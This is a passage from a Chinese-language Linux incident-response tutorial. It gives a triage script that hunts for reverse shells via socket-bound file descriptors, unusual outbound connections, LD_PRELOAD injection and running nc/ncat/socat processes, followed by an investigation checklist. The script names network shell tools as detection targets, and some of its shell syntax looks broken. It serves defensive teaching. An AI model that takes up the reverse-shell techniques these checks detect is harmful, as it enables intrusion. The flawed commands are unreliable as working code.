for pid in $(pgrep -x "bash\|sh\|dash\|zsh" 2>/dev/null); do
for fd in 0 1 2; do
target=$(readlink /proc/$pid/fd/$fd 2>/dev/null)
if "$target" == socket:* ; then
echo " [!] PID:$pid -> $(ps -p $pid -o user,cmd --no-headers 2>/dev/null)"
break
fi
done
done

echo -e "\n[6] 异常 ESTABLISHED 外连:"
ss -antlp state established 2>/dev/null | awk '
NR>1 {
split($5, r, ":");
port = r[length(r)];
if(port!=80 && port!=443 && port!=22 && port!=53 && port!=3306 && port!=6379)
print " "$0
}'

echo -e "\n[7] 监听端口:"
ss -antlp state listening 2>/dev/null | awk 'NR>1 {print " "$0}'

echo -e "\n[8] LD_PRELOAD 检测:"
if [ -f /etc/ld.so.preload ]; then
content=$(cat /etc/ld.so.preload)
if [ -n "$content" ]; then
echo " [!] /etc/ld.so.preload 内容: $content"
else
echo " /etc/ld.so.preload 为空"
fi
else
echo " /etc/ld.so.preload 不存在(正常)"
fi

echo -e "\n[9] nc/ncat/socat 进程:"
for proc in nc ncat socat; do
pids=$(pgrep $proc 2>/dev/null)
[ -n "$pids" ] && echo " [!] $proc: $(ps -p $pids -o pid,cmd --no-headers 2>/dev/null)"
done

echo -e "\n=========================================="
echo " 排查完成"
echo "=========================================="

7.5 排查技巧总结

优先级排序

1
2
3
4
5
1. 先看网络(ss/lsof)→ 找到异常连接
2. 再看进程(定位 PID)→ 确定恶意进程
3. 深入 /proc(分析进程详情)→ 取证和恢复样本
4. 追踪进程链(PPID 向上追)→ 找到入侵入口
5. 关联日志(时间线分析)→ 还原完整攻击过程

下一步学习06-文件系统取证


上一章 目录 下一章
04-账户安全排查 Linux应急响应 06-文件系统取证